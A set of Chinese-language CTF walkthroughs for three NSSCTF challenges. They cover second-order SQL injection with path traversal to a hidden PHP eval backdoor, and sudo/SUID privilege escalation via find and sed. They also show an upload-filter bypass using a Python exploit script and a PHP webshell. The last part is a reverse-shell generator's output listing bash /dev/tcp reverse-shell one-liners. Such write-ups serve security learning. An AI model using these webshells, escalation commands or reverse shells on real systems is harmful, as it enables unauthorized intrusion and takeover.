[湖湘杯 2021 final]Penetratable 6分 SUID提权二次注入目录穿越 首先我们进入观察一下url和这个页面显示什么,再看下源码什么的
1 http://node4.anna.nssctf.cn:28286/?id=1
显示的是一个root的 我们把这个id=1换为id=2然后再看看显示什么,显示的是admin的 两者都查看一下网页源代码,好像都没有什么有用的这个信息 扫一下目录看看 有用的大概是下面几个
1 2 3 4 5 6 7 8 [16:08:05] 301 - 335B - /app -> http://node4.anna.nssctf.cn:28286/app/ [16:08:05] 200 - 520B - /app/ [16:08:09] 301 - 338B - /config -> http://node4.anna.nssctf.cn:28286/config/ [16:08:09] 200 - 487B - /config/ [16:08:23] 200 - 0B - /phpinfo.php [16:08:27] 403 - 288B - /server-status/ [16:08:27] 403 - 288B - /server-status [16:08:30] 301 - 338B - /static -> http://node4.anna.nssctf.cn:28286/static/
然后我们访问这几个页面 访问第一个/app
1 2 3 4 5 [PARENTDIR] Parent Directory - [ ] admin.class.php 2021-11-17 02:35 2.4K [ ] app.class.php 2021-12-06 07:38 3.9K [ ] root.class.php 2021-11-17 02:35 5.6K [ ] user.class.php 2021-11-17 02:35 2.7K
但是这几个再打开发现什么都没有 我们再来看下其他的/config
1 2 3 [PARENTDIR] Parent Directory - [ ] config.php 2021-12-07 02:06 554 [ ] func.php 2021-11-17 02:35 249
几乎也是一样的 phpinfo那个页面就是0kb的,没有什么用的 访问这个http://node4.anna.nssctf.cn:28286/static/ 这个就是比较有用的一个页面了 可以看到一些有用的文件什么的
1 2 3 4 5 6 7 8 9 10 11 12 [PARENTDIR] Parent Directory - [TXT] adminHome.html 2021-11-17 02:35 15K [TXT] adminUsers.html 2021-11-17 02:35 15K [TXT] app.html 2021-11-17 02:35 15K [DIR] bootstrap5/ 2021-12-06 15:14 - [DIR] css/ 2021-12-06 15:14 - [DIR] img/ 2021-12-06 15:14 - [DIR] js/ 2021-12-06 15:14 - [TXT] rootHome.html 2021-11-17 02:35 14K [TXT] rootLog.html 2021-11-17 02:35 15K [TXT] rootUsers.html 2021-11-17 02:35 15K [TXT] user.html 2021-11-17 02:35 14K
我们这里先随便注册一个账号进入,对其进行抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /?c=app&m=login HTTP/1.1 Host: node4.anna.nssctf.cn:28286 Content-Length: 51 Accept: text/plain, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://node4.anna.nssctf.cn:28286 Referer: http://node4.anna.nssctf.cn:28286/?id=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=4bd9fcd7989bb90a54897bd89be5548a Connection: close name=YWRtaW4x&pass=c4ca4238a0b923820dcc509a6f75849b
这个是一个登陆的页面 比较有用的就是这个phpsessid和这个name&passwd的这个加密方式 我们可以看到源码的一个js,就是req.js这个文件 里面的这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 function login(){ let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val())) let pass=hex_md5($(".form-floating>input").eq(1).val()) $.ajax({ url: '/?c=app&m=login', type: 'post', data: 'name=' + name+'&pass=' + pass, // async:true, dataType: 'text', success: function(data){ let res=$.parseJSON(data); if (res['login']){ switch (res['type']){ case 'user': location.href="/?c=user"; break; case 'admin': location.href="/?c=admin"; break; case 'root': location.href="/?c=root"; break; } }else if(res['alertFlag']){ alert(res['alertData']); } } }); } function userUpdateInfo(){ let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val())) let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):''; let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):''; let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val())) $.ajax({ url: '/?c=user&m=updateUserInfo', type: 'post', data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying, // async:true, dataType: 'text', success: function(data){ alertHandle(data); } }); } function signOut(){ $.ajax({ url: '/?c=app&m=signOut', type: 'get', dataType: 'text', success: function(data){ alertHandle(data); } }); } function alertHandle(data){ let res=$.parseJSON(data); if(res['alertFlag']){ alert(res['alertData']); } if(res['location']){ location.href=res['location']; } } function changeAdminPage(type){ let page=$('.page').text(); if (type=='next'){ location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1); } if (type=='last'){ location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1); } } function changeRootPage(type){ let page=$('.page').text(); if (type=='next'){ location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1); } if (type=='last'){ location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1); } } function updatePass(){ // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val())) // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):''; // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):''; // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val())) // $.ajax({ // url: '/?c=admin&m=updatePass', // type: 'post', // data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying, // // async:true, // dataType: 'text', // success: function(data){ // alertHandle(data); // } // }); } function adminHome(){ location.href='/?c=root' } function getUserInfo(){ location.href='/?c=root&m=getUserInfo' } function getLogList(){ location.href='/?c=root&m=getLogList' } function downloadLog(filename){ location.href='/?c=root&m=downloadRequestLog&filename='+filename; } function register(){ let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val())) let pass=hex_md5($(".form-floating>input").eq(3).val()) let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val())) $.ajax({ url: '/?c=app&m=register', type: 'post', data: 'name=' + name+'&pass=' + pass +'&saying=' +saying, dataType: 'text', success: function(data){ // console.log(data); alertHandle(data); } }); }
能看到我们的这个name是通过base64的方式,然后这个pass是我们的hex的方式 还有一些其他的方法,比如说更新密码的等等 这里我们好好地看源码来得知一些有用的信息 一个是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function updatePass(){ // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val())) // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):''; // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):''; // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val())) // $.ajax({ // url: '/?c=admin&m=updatePass', // type: 'post', // data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying, // // async:true, // dataType: 'text', // success: function(data){ // alertHandle(data); // } // }); }
在用户是admin的情况下,能够更改一些信息 第二个重要的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function adminHome(){ location.href='/?c=root' } function getUserInfo(){ location.href='/?c=root&m=getUserInfo' } function getLogList(){ location.href='/?c=root&m=getLogList' } function downloadLog(filename){ location.href='/?c=root&m=downloadRequestLog&filename='+filename; }
在root的情况下,我们能够拿到userinfo或者日志等等重要的文件 接下来的一步就比较接近CTF的这种比较巧的那么一个思路了 或者说,题目已经提示你了是二阶注入?那什么是二阶注入呢
1 2 3 4 5 6 7 比如我要登陆admin 我输入admin'--+ 然后其实我们的这个注册admin'--+是已经放入数据库的了 我们 然后我们再对注册的账号登陆,然后修改密码 此时我们会发现,admin的密码被修改了,而我们注册的这个admin'--+却没有被修改
看下源码知道原因
1 $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
1 $sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
–+或者后面的这个#把后面的代码都注释掉了 这里的思路一摸一样 然后我们登陆了admin之后
1 http://node4.anna.nssctf.cn:28055/?c=admin
发现多了两个页面
当然也没有什么用 这里我们注意这个保留一下sessionid什么的,这个还是很重要的 接下来的思路就是我们想要登陆进root,但是爆破密码等等操作可能都不可以的,所以我们换一种思路 登陆?c=admin&m=updatePass是可以修改root的密码的 首先,注意区分一下hex十六进制和MD5hash。做题时居然还弄混了一下 然后我在bp上弄,打开自带的浏览器失败了,但是直接在hackbar上成功了 应该是bp带的cookie只有phpsessid的愿意
1 name=cm9vdA==&newPass=d93591bdf7860e1e4ee2fca799911215&oldPass=d93591bdf7860e1e4ee2fca799911215&saying=MQ==
成功了回显
1 {"alertData":"\u4fee\u6539\u6210\u529f","location":"\/?c=admin","alertFlag":1}
不成功的回显
1 {"alertData":"\u7f3a\u5c11\u53c2\u6570","alertFlag":1}
进入了root之后有一个日志的页面 我们可以看看 现在就可以通过
1 ?c=root&m=downloadRequestLog&filename=../../../../../var/www/html/phpinfo.php
等,来查看我们的这个文件 找到shell
1 2 3 4 5 <?php if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);} // hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability. ?>
但是,要传入的这个pass_31d5df001717只能靠写脚本来碰撞了,输入字典或者脚本 然后得到为1q2w3e 写木马
1 /phpinfo?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);
然后连接蚁剑 为什么要在.phpinfo下面写木马?因为我们要执行的这个函数就是要在phpinfo下面的 只是我们直接去访问phpinfo是没有什么用的,无任何回显什么的 很成功的就连接了蚁剑了 接下来找flag找不到 我们这里尝试suid提权
1 2 find / -user root -perm -4000 -print 2>/dev/null #查找拥有suid的二进制文件
1 2 3 4 5 6 7 8 9 10 11 $ find / -user root -perm -4000 -print 2>/dev/null /bin/su /bin/sed /bin/umount /bin/mount /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/gpasswd /usr/bin/chfn /usr/lib/openssh/ssh-keysign
有一个sed 用sed来读取文件
[HZNUCTF 2023 final]ezgo 46分 权限提升Linux命令SUID提权 题目描述
https://pkg.go.dev/mvdan.cc/sh@v2.6.4+incompatible/interp#example-package . Code looks like that. Can u escaped the sh-parser. 一进去先按照要求,post一个cmd=shit进去,这里是要发到/cmd目录下嘛?都有可能吧 发现都不可以,这里参照wp来解决 1.先找到bash命令
1 /bin/bash /bin/cat /bin/chgrp /bin/chmod /bin/chown /bin/cp /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/echo /bin/egrep /bin/false /bin/fgrep /bin/findmnt /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hostname /bin/ln /bin/login /bin/ls /bin/lsblk /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mv /bin/nisdomainname /bin/pidof /bin/pwd /bin/rbash /bin/readlink /bin/rm /bin/rmdir /bin/run-parts /bin/sed /bin/sh /bin/sleep /bin/stty /bin/su /bin/sync /bin/tar /bin/tempfile /bin/touch /bin/true /bin/umount /bin/uname /bin/uncompress /bin/vdir /bin/wdctl /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew
2.发现只有root权限才能读取flag文件
1 shit=/bin/bash -c "ls -al /"
回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 total 11308 drwxr-xr-x 1 root root 4096 Sep 3 07:37 . drwxr-xr-x 1 root root 4096 Sep 3 07:37 .. -rwxr-xr-x 1 root root 0 Sep 3 07:37 .dockerenv drwxr-xr-x 2 root root 4096 Mar 20 2023 bin drwxr-xr-x 2 root root 4096 Dec 9 2022 boot drwxr-xr-x 5 root root 340 Sep 3 07:37 dev drwxr-xr-x 1 root root 4096 Sep 3 07:37 etc -r-------- 1 root root 45 Sep 3 07:37 flag drwxr-xr-x 2 root root 4096 Dec 9 2022 home drwxr-xr-x 1 root root 4096 Mar 20 2023 lib drwxr-xr-x 2 root root 4096 Mar 20 2023 lib64 -rwxr-xr-x 1 root root 11488757 Apr 1 2023 main drwxr-xr-x 2 root root 4096 Mar 20 2023 media drwxr-xr-x 2 root root 4096 Mar 20 2023 mnt drwxr-xr-x 2 root root 4096 Mar 20 2023 opt dr-xr-xr-x 330 root root 0 Sep 3 07:37 proc drwx------ 2 root root 4096 Mar 20 2023 root drwxr-xr-x 3 root root 4096 Mar 20 2023 run drwxr-xr-x 2 root root 4096 Mar 20 2023 sbin drwxr-xr-x 2 root root 4096 Mar 20 2023 srv -rwxr-xr-x 1 root root 181 Apr 3 2023 start.sh dr-xr-xr-x 13 root root 0 Sep 3 07:37 sys drwxrwxrwt 1 root root 4096 Apr 3 2023 tmp drwxr-xr-x 1 root root 4096 Mar 20 2023 usr drwxr-xr-x 1 root root 4096 Mar 20 2023 var
3.查找提权命令,发现可以当前用户ctf可以sudo执行find命令
1 2 3 4 5 6 7 8 shit=/bin/bash -c "whoami" ctf shit=/bin/bash -c "sudo -l" Matching Defaults entries for ctf on a03bdbf1e49f495c: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User ctf may run the following commands on a03bdbf1e49f495c: (root) NOPASSWD: /usr/bin/find
4.最后就是一些sudo提权的基本功了
1 2 shit=/bin/bash -c "sudo find /flag -exec id \%3B" shit=/bin/bash -c "sudo find /flag -exec tac /flag \%3B"
当然,这里的思路不是很完整的 比较完整的思路如下 首先还是第一步,到/cmd命令下传shit这个参数可以先令其等于1 我们想要的是执行命令来拿到flag,但是这里又没有题目给的可以执行命令的函数什么的 我们这里就很容易想到/user/bin目录下所有用户都可以以用的应用程序(绝对路劲执行命令) /bin 存放所有用户皆可用的系统程序,系统启动或者系统修复时可用(在没有挂载 /usr 目录时就可以使用)
1 2 3 4 5 /sbin 存放超级用户才能使用的系统程序 /usr/bin 存放所有用户都可用的应用程序 /usr/sbin 存放超级用户才能使用的应用程序 /usr/local/bin 存放所有用户都可用的与本地机器无关的程序 /usr/local/sbin 存放超级用户才能使用的与本地机器无关的程序
我们输入/user/bin/sudo可以发现,sudo命令是可以用的 此时,我们再输入/usr/bin/sudo -l 可以看到当前可以用的命令
1 2 3 4 5 Matching Defaults entries for ctf on b9af8ebdad254c1c: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User ctf may run the following commands on b9af8ebdad254c1c: (root) NOPASSWD: /usr/bin/find
可以发现find命令是不需要passwd的,并且是root了的情况下 我们很容易想到的就是sudo find提权
1 2 3 4 5 shit=/usr/bin/sudo find /flag -exec cat /flag \; shit=/usr/bin/sudo find /usr/bin/sudo -exec cat /flag \; shit=/usr/bin/sudo find /usr/bin/find -exec cat /flag \; # find (一个路径或文件,必须存在) -exec 执行命令 \;(\; 是-exec 参数的结尾标志)
[GHCTF 2024 新生赛]PermissionDenied 186分 SUID提权文件上传diable_function绕过 题目描述
chmod 740 /flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php function blacklist($file){ $deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini"); $ext = pathinfo($file, PATHINFO_EXTENSION); foreach ($deny_ext as $value) { if (stristr($ext, $value)){ return false; } } return true; } if(isset($_FILES['file'])){ $filename = urldecode($_FILES['file']['name']); $filecontent = file_get_contents($_FILES['file']['tmp_name']); if(blacklist($filename)){ file_put_contents($filename, $filecontent); echo "Success!!!"; } else { echo "Hacker!!!"; } } else{ highlight_file(__FILE__);
一进去会发现有一个黑名单,主要是针对我们上传文件的时候会有的一些检测 这里是利用file_put_content函数有一个文件解析的漏洞
1 当上传123.php/.的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件,最终上传创建的是123.php
这里我们可以通过py来实现我们的传参的这么一个过程 我们在windows下面直接来命令一个1.php/.会发现在windows下创建不了 这道题目也是对于我来说比较少见到的一种做法 同一个目录下放我们的exp
1 2 3 4 5 6 7 8 9 10 import requests url = "http://node6.anna.nssctf.cn:23009/" # 目标URL(这里填你题目的URL) file = { "file": ("123.php%2f.", open('1.php', 'rb')) # 文件名和打开的文件 } try: res = requests.post(url=url, files=file) # 发送POST请求 print(res.text) # 打印服务器响应 except Exception as e: print("发生错误:", e)
1.php这个木马
1 2 3 <?php eval($_POST[0]);phpinfo();?> #这里的0是蚁剑的连接密码
然后我们访问/123.php成功了 蚁剑连接 我们看到flag大小45b,是有内容的,但是无法查看,权限是0740 权限 0740 表示文件所有者可以读、写和执行该文件,所属组用户只能读取该文件,而其他用户没有任何权限 连接好蚁剑之后,我们打开终端,发现我们执行不了命令 使用蚁剑的绕过disable_function功能达到能实现命令的功能 然后注意选择,这里选的是userFilter。然后就可以执行命令了
1 2 find / -perm -u=s -type f 2>/dev/null /usr/local/s3cRetTt
这样就拿到flag了
小工具 地址(这里直接给releases了,直接假设你没有go的环境)
1 revshell_windows_amd64.exe
下载了这个 然后在存放的有文件的目录下打开cmd,然后我们输入
1 .\revshell_windows_amd64.exe
这样就运行成功了,就可以按照参考的文档来生成我们需要的东西了 类似于如下的使用方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 >.\revshell_windows_amd64.exe 192.168.1.1 2222 bash _____ _____ _ _ _ _____ | __ \ / ____| | | | | / ____| | |__) |_____ __ | (___ | |__ ___| | | | | __ ___ _ __ | _ // _ \ \ / / \___ \| '_ \ / _ \ | | | | |_ |/ _ \ '_ \ | | \ \ __/\ V / ____) | | | | __/ | | | |__| | __/ | | | |_| \_\___| \_/ |_____/|_| |_|\___|_|_| \_____|\___|_| |_| | 💻 Author: Gh0stX | 🍎 Version: 1.0 | ------------------------------------------ Bash -i: bash -i >& /dev/tcp/192.168.1.1/2222 0>&1 /bin/bash -i >& /dev/tcp/192.168.1.1/2222 0>&1 ------------------------------------------ Bash 196: 0<&196;exec 196<>/dev/tcp/192.168.1.1/2222; bash <&196 >&196 2>&196 0<&196;exec 196<>/dev/tcp/192.168.1.1/2222; /bin/bash <&196 >&196 2>&196 ------------------------------------------ Bash read line: exec 5<>/dev/tcp/192.168.1.1/2222;cat <&5 | while read line; do $line 2>&5 >&5; done ------------------------------------------ Bash 5: bash -i 5<> /dev/tcp/192.168.1.1/2222 0<&5 1>&5 2>&5 /bin/bash -i 5<> /dev/tcp/192.168.1.1/2222 0<&5 1>&5 2>&5 ------------------------------------------ Bash UDP: bash -i >& /dev/udp/192.168.1.1/2222 0>&1 /bin/bash -i >& /dev/udp/192.168.1.1/2222 0>&1 D:\shell>